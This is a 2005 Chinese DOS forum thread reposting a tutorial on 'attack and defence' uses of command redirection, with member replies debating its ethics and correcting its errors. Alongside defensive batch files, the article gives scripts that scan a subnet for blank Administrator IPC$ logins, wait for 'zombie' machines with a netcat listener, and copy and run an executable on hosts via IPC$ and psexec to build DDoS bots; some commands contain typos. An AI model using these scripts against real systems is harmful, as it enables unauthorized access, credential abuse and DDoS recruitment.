|
220110
荣誉版主
积分 718
发帖 313
注册 2005-9-26
状态 离线
|
『楼 主』:
重定向命令在安全方面的攻防应用
===================;
以下转载自 www.bluedon.com
===================;
重定向命令在安全方面的攻防应用
【2005-7-21 10:08:00】
大家知道,DOS下有一个不为大家所常用的命令——重定向命令,这个小东西非常有用,该命令同样可以用于Win9x/ME/2000/XP下,灵活的使用这个命令可以给我们带来很大的方便——无论是入侵还是防守抑或是系统应用,都会带来很大的便利。今天就让我们来看几个重定向命令在安全方面的应用实例。
一、命令格式
DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。其中:
1.大于号“>”将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。
2.双大于号“>>”将命令输出添加到文件结尾而不删除文件中已有的信息。
3.小于号“<”从文件而不是键盘上获取命令所需的输入。
4.>&符号将输出从一个默认I/O流(stdout,stdin,stderr)重新定向到另一个默认I/O流。例如,command >output_file 2>&1将处理command过程中的所有错误信息从屏幕重定向到标准文件输出中。标准输出的数值如下所示:
标准输出 等价的数值
Stdin 0
Stdout 1
Stderr 2
其中,1和2都创建一个文件用于存放数据;4可能不能够在DOS下使用。
二、重定向命令的输出
几乎所有的命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使用大于号(>)。大多数命令中均可以使用大于号。例如,在以下命令中,dir命令生成的目录列表重定向到Dirlist.txt文件:dir>dirlist.txt,如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命令的输出替换文件中的信息。
要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如,在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将从List.txt文件中获取sort命令的输入:sort
三、应用举例
1.给注册表加锁/解锁
大家知道,注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\Policies\sys_tem(去掉"_")分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无法使用注册表编辑器。利用重定向命令在DOS下就可以给注册表加锁/解锁,非常方便。
打开记事本程序,新建一个文本文件,输入如下内容:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\sys_tem(去掉"_")]>>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
另存为以.bat为扩展名的批处理文件,点击这个文件注册表就会被锁定!
在上面的命令中,echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,如果想看到程序执行过程,请将“@”去掉。大家在编写上述代码时要注意的是,第一行中的“REGEDIT4”一定要用大写字母,在第二行中“echo”和“.”之间没有空格。“>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以无需确认就删除123.reg文件。
要想给注册表解锁,可以编辑这个批处理文件,只需将"DisableRegistryTools"=dword:00000001改为"DisableRegistryTools"=dword:00000000,其他内容不变,保存为.bat文件,点击就可以给注册表解锁了。
2.把登陆3389的机器IP记录下来
把下面的内容保存为3389IP.bat:
time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer
运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?
3.恢复DOS实模式
大家知道,某些恶意网页会修改浏览者的注册表,在无所不用其极的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用,是比较特别的一招,在此与大家分享。
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg
另存为以.bat为扩展名的批处理文件,点击这个文件就可以恢复DOS实模式,那些DOS应用程序又可以使用了。
4.等待肉鸡上门
每天费时费力的找肉鸡是不是很辛苦,利用重定向命令和批处理文件就可以让你简单的找到肉鸡!方法是用记事本新建一个文本文件,输入如下内容:
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start
保存为.bat文件(事先得准备好一个nc.exe文件,它是网络故障事件检测软件Netcat的主程序),然后运行此程序之后,你就等着肉鸡上门主动来找你吧!运气好的话,每天10个不成问题。
5.快速进行空连接
空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use \IP\ipc$ "" /user:"" 就可以简单地和目标建立一个空连接(需要目标开放IPC$)。利用重定向命令和for命令就可以对一个C类网段进行快速的空连接,并把结果保存到一个文件中供你分析。方法是用记事本编辑如下内容的文件:
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%Gipc$ "" /use:"Administrator" | find "命令完成" >>test.txt
批处理文件保存为.bat,运行即可。这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为administrator口令为空的ipc$连接,如果成功就把结果记录在test.txt。这样就实现了NT弱口令扫描功能!其中,for命令的功能是对一组文件中的每一个文件执行某个特定命令,也就是可以用你指定的循环范围生成一系列命令。For命令的格式为:FOR %variable IN (set) DO command [command-parameters],具体的含义:
%variable:指定一个单一字母可替换的参数。
(set):指定一个或一组文件。可以使用通配符。
command:指定对每个文件执行的命令。
command-parameters:为特定命令指定参数或命令行开关。
在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同%I。
6.禁止空连接
空连接的存在对有一定的危险,所以我们还是禁止它为好!方法是输入net share察看本地共享资源,接下来输入如下命令删除共享:
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f等盘符可以同法删除)
然后用记事本新建一个文本文件,输入如下内容即可:
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\sys_tem(去掉"_")\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg
另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。
7.扫描所有和本机以TCP协议连接的计算机
扫描自己的计算机端口,发现有特殊端口打开,可以查木马,不仅如此,利用下面这个批处理文件还可以把所有和本机以TCP协议连接的计算机IP地址都记录下来。这个.bat文件内容如下:
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log
这样不仅可以记录下对方的IP,还有时间和日期,方便自己查看。
8.自动获取DDoS肉鸡
DDoS是Distributed Denial of Service的缩写,意即分布式拒绝服务攻击。它是指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
虽然不建议大家使用DDoS方式攻击,但作为技术掌握还是很有必要的。可是,如何才能获取进行DDoS攻击的肉鸡呢?把下面的内容保存为ok.bat文件就可以达到目的了:
@echo off
echo自动获取DDoS肉鸡
for /f "tokens=1,3*" %i in (host.txt) do net use \%k\ipc$ /user:"%j"
copy %1 \%i\admin$\sysytem32
if errorelevel 0 goto success
psexec -d \%i c:\winnt\sys_tem(去掉"_")32%1
net user \%i\ipc$ /del
:success
echo ------------------------------>>success.txt
echo 肉鸡:%i>>success.txt
echo 用户名:%j>>success.txt
echo 密码:%k>>success.txt
echo ------------------------------>>success.txt
使用方法是ok.bat *.exe host.txt,其中host.txt的格式为:ip administrator password。好了,快试试吧。但不要用来干破坏哦。
其实,本文所说的方法主要是利用了批处理和相关的命令,重定向命令在其中只是个“传接剂”,起连接作用,但它的功劳也是不小的,所以我们不要忘了重定向命令哦。
|
|
2005-11-2 21:02 |
|
|
Kinglion
铂金会员
痴迷DOS者
积分 5792
发帖 1921
注册 2003-6-20 来自 金獅電腦軟體工作室
状态 离线
|
『第
2 楼』:
写得不错的东西,建议大家都看看。
|
熟能生巧,巧能生精,一艺不精,终生无成,精亦求精,始有所成,臻于完美,永无止境!
金狮電腦軟體工作室愿竭诚为您服务!
QQ群:8393170(定期清理不发言者)
个人网站:http://www.520269.cn
电子邮件:doujiehui@vip.qq.com
微信公众号: doujiehui
|
|
2005-11-2 21:22 |
|
|
Michael
钻石会员
积分 10046
发帖 3039
注册 2002-11-11
状态 离线
|
『第
3 楼』:
DOS不是用来干这个的。置疑此贴原作者的道德。
|
简单就是美 |
|
2005-11-2 21:44 |
|
|
220110
荣誉版主
积分 718
发帖 313
注册 2005-9-26
状态 离线
|
『第
4 楼』:
建议大家在我们的论坛充实更多,把各人的经验贡献给新手。特别willsort ——他在批处理方面很行,通常解释得也很清晰很耐心,还不断地探索更正,指出自己的认识、分析错误。(我开始摸到一点他的思维方式了,哈。吹的!)
记得,“如何成为一位黑客”里有说过:
成为一位大师的最有效方法是学习大师们的精神; 并不只是学习知识和情绪而己.
(我并无不尊敬其它辛苦的版主、金牌银牌会员和高手的意思,只是willsort回贴实在不是只说一句两句话就算了的,这样才给我更了解他的。请不要想太多!! )
[ Last edited by 220110 on 2005-11-2 at 22:03 ]
|
|
2005-11-2 21:50 |
|
|
220110
荣誉版主
积分 718
发帖 313
注册 2005-9-26
状态 离线
|
『第
5 楼』:
Quote: | Originally posted by Michael at 2005-11-2 21:44:
DOS不是用来干这个的。置疑此贴原作者的道德。 |
|
你想得太多了,我想传播的是技术,和丰富我们的论坛。
[ Last edited by 220110 on 2005-11-2 at 22:09 ]
|
|
2005-11-2 21:57 |
|
|
Michael
钻石会员
积分 10046
发帖 3039
注册 2002-11-11
状态 离线
|
『第
6 楼』:
楼主辛苦了.谢谢楼主的热情. 不过我觉得此文在某种程度上暴露了原作者的偷窥欲. 呵呵.
|
简单就是美 |
|
2005-11-2 22:30 |
|
|
220110
荣誉版主
积分 718
发帖 313
注册 2005-9-26
状态 离线
|
『第
7 楼』:
1,我笑,笑可笑之人,挑起这种无谓的事端;
2,尽管说,我愿意“承认”一切人说的一切,但请立刻结束此贴,并请wengier尽快删除(包括转载文章);
3,我将继续“偷窥”,并转入潜水“偷窥”,当我学到东西就走;
4,to michael:我不知你是否昨晚心情不好而致,但请你紧记你的附言:“简单就是美”。
|
|
2005-11-3 07:50 |
|
|
Michael
钻石会员
积分 10046
发帖 3039
注册 2002-11-11
状态 离线
|
『第
8 楼』:
to 220110:
老兄火气真不小,我如此强调是“原作者”而不是楼主,还让你误解。真是抱歉。
不过我看到什么“等肉鸡上门”,“DDOS攻击它人”,就觉得此文“原作者”令人厌恶。
至于我说的“偷窥欲”更是说此文“原作者”了,不知老兄是不理解,还是故意不理解。
再次向220110道歉。对不起。
PS: 昨晚心情的确不好,因为我自己做的一个服务器上周末被无聊的人攻击,险些产生严重后果。
|
简单就是美 |
|
2005-11-3 18:32 |
|
|
220110
荣誉版主
积分 718
发帖 313
注册 2005-9-26
状态 离线
|
『第
9 楼』:
是因为你在3楼说“此贴原作者”非“此文章原作者”,加上由于广州这些天气多变而致的感冒,头一时发晕……小生在此作揖请罪,望见谅。
另外再多嘴一句,无论对谁,无论好丑,作为一个有影响的公众人物不应轻易发表含糊言辞。
祝开心,事如愿。
|
|
2005-11-3 19:32 |
|
|
Michael
钻石会员
积分 10046
发帖 3039
注册 2002-11-11
状态 离线
|
『第
10 楼』:
哈哈,原来是我的笔误所致。
此事平息。。。。。。。。。。
|
简单就是美 |
|
2005-11-3 19:49 |
|
|
JonePeng
金牌会员
D◎$ Fαп
积分 4562
发帖 1883
注册 2004-1-19 来自 广东广州
状态 离线
|
『第
11 楼』:
Quote: | Originally posted by 220110 at 2005-11-3 19:32:
由于广州这些天气多变而致的感冒,头一时发晕…… |
|
呵呵,原来你也是广州人啊,我现在也感冒了,晕~~~~~
|
----====≡≡≡≡ 我的至爱,永远是MSDOS!≡≡≡≡====----
|
|
2005-11-3 22:58 |
|
|
willsort
元老会员
Batchinger
积分 4432
发帖 1512
注册 2002-10-18
状态 离线
|
『第
12 楼』:
To All:
粗略浏览了一下首帖,有些许感受,遂书此文。未免再次引起误会,特此声明:本文只针对首帖中的原文内容,并不针对原文的原作者和转帖者!而就其在道德领域内所引发的争议和讨论,我另有感悟,将来可能会书于我在本论坛中的BLOG中,不在此赘述。
本文第一、二节主要讲了重定向,第三节主要讲了攻防。关于一、二节中的内容,阐述基本清晰明白,但也存在一定疏漏。
首先,重定向并非“命令”,而是命令行所特有的一组功能特性,因为它在COMMAND.COM 中没有命令入口,也没有外部程序的支持;我们可以称它为“重定向特性”,或者“重定向功能”,或者也可以单独指称表征这些功能特性的标记符号为“重定向符号”(指 >、>> <)。
其次,第二节关于重定向输出的阐述中,也同时包含了重定向输入("<")。
第三,关于 “>&” 的内容,此文并没有指明其为 Windows NT/2000/XP/2003等NT系列操作系统命令行环境下(简称 NT CMD)所特有的特征,而非通常意义上的DOS环境下的特征。
第四,与重定向密切相关的管道特性以及管道符号(|),在第一、二节并未述及,而在第三节它是有应用的;
第三节的内容,因为牵涉我所不熟悉的领域,不便置评过多;但仅就重定向在其中的应用而言,在技术上不具有太大的价值,文中的代码基本上只是应用了一些基本的重定向用法,很多深层次的用法及其技术外延并未涉及。
当然,我在总体上并不否定此文所固有的价值,毕竟它也是原作者的心血结晶,作为新手入门的教程它仍然有其积极的意义。
另外,很高兴看到 220110 和 Michael 两位兄弟误会冰释!
[ Last edited by willsort on 2005-11-7 at 19:51 ]
|
※ Batchinger 致 Bat Fans:请访问 [讨论]批处理编程的异类 ,欢迎交流与共享批处理编程心得! |
|
2005-11-7 18:47 |
|
|
lxmxn
版主
积分 11386
发帖 4938
注册 2006-7-23
状态 离线
|
『第
13 楼』:
先感谢willsort兄的细致的观察和精彩的点评,在阅读这篇帖子的时候,感受到了重定向符在批处理脚本中的实际应用的例子,但对于此文(不针对任何人,只对其内容而言)中出现的一点点错误,还是指点出来。
Quote: | 要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如,在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将从List.txt文件中获取sort命令的输入:sort |
|
此段中的"dir>dirlist.txt"有误,应该是"dir>>dirlist.txt",而此段最后一个命令似乎没有表达完全。
除此之外,文中还有一些不妥的地方,比如"sys_tem"没有必要在中间加个"_"符号,虽然后面已经说明此处没有"_",但难免有点让人感到厌烦。
|
|
2006-10-21 06:38 |
|
|
wordexport
初级用户
积分 87
发帖 42
注册 2007-9-27
状态 离线
|
『第
14 楼』:
willsort的回答总是详尽。
|
|
2007-10-5 10:34 |
|
|
hxwxyz
中级用户
积分 245
发帖 123
注册 2007-6-8
状态 离线
|
|
2007-10-5 13:18 |
|